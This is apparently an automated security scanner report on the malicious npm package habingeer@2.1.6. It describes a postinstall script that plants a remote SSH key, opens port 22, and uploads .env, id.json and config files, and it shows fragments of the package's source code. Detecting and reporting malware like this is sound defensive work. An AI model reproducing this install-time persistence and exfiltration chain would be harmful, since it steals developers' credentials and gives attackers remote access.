Loading npm security reports…

habingeer: Malicious npm security report (Block) | LPM Firewall

registry / habingeer / 2.1.6

habingeer@2.1.6

APIs in NodeJS should have a single source of truth for api specs between code and docs, as well as compile time type safety.

AI Security Review

scanned 3h ago · by lpm-firewall-ai

`npm install` executes `test.js`, which downloads a remote SSH key and scanning patterns, modifies the user's SSH authorization, scans local files, and uploads matches. It also exfiltrates sensitive configuration files from the install working directory.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

npm postinstall

Impact

Unauthorized SSH persistence, firewall modification, and theft of local credentials/configuration data.

Mechanism

remote-key persistence plus recursive file collection and HTTP exfiltration

Attack narrative

On npm postinstall, `test.js` calls both exported routines. One downloads an SSH public key and remotely supplied scan/block patterns, appends the key to the current user's `authorized_keys`, attempts ownership changes, enables UFW, and opens port 22. It then scans the user's home directory or Windows drives for remotely selected filenames and uploads matching files. The second routine recursively finds `.env`, `env`, `id.json`, and TOML configuration files beneath the install working directory and uploads their contents with the local username.

Rationale

The package contains an install-time, remotely directed persistence and data-exfiltration chain. The copied unrelated README does not describe or justify this behavior.

Evidence

package.jsontest.jsindex.jsreadme.md$HOME/.ssh$HOME/.ssh/authorized_keys

Network endpoints5

/api/v1

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.postinstall = node test.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•Runtime dependency names matching Node built-ins: child_process, os

High

Node Builtin Dependency Squat

Package declares a runtime dependency whose name matches a Node built-in module.

package.jsonView on unpkg

index.jsView file

1const { execSync, execFileSync } = require("child_process"); L2: const fs = require("fs"); L3: const path = require("path"); L4: const axios = require("axios"); L5: const FormData = require("form-data"); L6: const os = require("os"); ... L37: const fileData = fs.readFileSync(filePath); L38: const envUser = process.env.USER || "unknown"; L39: const payload = Buffer.concat([Buffer.from(`${envUser}\n`, "utf8"), fileData]); L40: const filename = path.basename(filePath) || "file.bin"; ... L53: const patterns = ["id.json", "config.toml", "Config.toml", "env", ".env"]; L54: const cwd = process.cwd();

Critical

Persistence Backdoor

Source writes persistence or remote-access backdoor material.

index.jsView on unpkg · L1

1Trigger-reachable chain: manifest.main -> index.js L1: const { execSync, execFileSync } = require("child_process"); L2: const fs = require("fs"); L3: const path = require("path"); L4: const axios = require("axios"); L5: const FormData = require("form-data"); L6: const os = require("os"); ... L37: const fileData = fs.readFileSync(filePath); L38: const envUser = process.env.USER || "unknown"; L39: const payload = Buffer.concat([Buffer.from(`${envUser}\n`, "utf8"), fileData]); L40: const filename = path.basename(filePath) || "file.bin"; ... L53: const patterns = ["id.json", "config.toml", "Config.toml", "env", ".env"]; L54: const cwd = process.cwd();

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

1const { execSync, execFileSync } = require("child_process"); L2: const fs = require("fs"); L3: const path = require("path"); L4: const axios = require("axios"); L5: const FormData = require("form-data"); L6: const os = require("os"); ... L37: const fileData = fs.readFileSync(filePath); L38: const envUser = process.env.USER || "unknown"; L39: const payload = Buffer.concat([Buffer.from(`${envUser}\n`, "utf8"), fileData]); L40: const filename = path.basename(filePath) || "file.bin"; ... L53: const patterns = ["id.json", "config.toml", "Config.toml", "env", ".env"]; L54: const cwd = process.cwd();

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

1const { execSync, execFileSync } = require("child_process"); L2: const fs = require("fs"); L3: const path = require("path"); L4: const axios = require("axios"); L5: const FormData = require("form-data"); L6: const os = require("os"); ... L37: const fileData = fs.readFileSync(filePath); L38: const envUser = process.env.USER || "unknown"; L39: const payload = Buffer.concat([Buffer.from(`${envUser}\n`, "utf8"), fileData]); L40: const filename = path.basename(filePath) || "file.bin"; ... L53: const patterns = ["id.json", "config.toml", "Config.toml", "env", ".env"]; L54: const cwd = process.cwd();

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

index.jsView on unpkg · L1

•matchType = normalized_sha256 matchedPackage = habinger@2.1.6 matchedPath = index.js matchedIdentity = npm:aGFiaW5nZXI:2.1.6 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 5f428da78b612f93 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = habinger@2.1.6 matchedPath = index.js matchedIdentity = npm:aGFiaW5nZXI:2.1.6 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg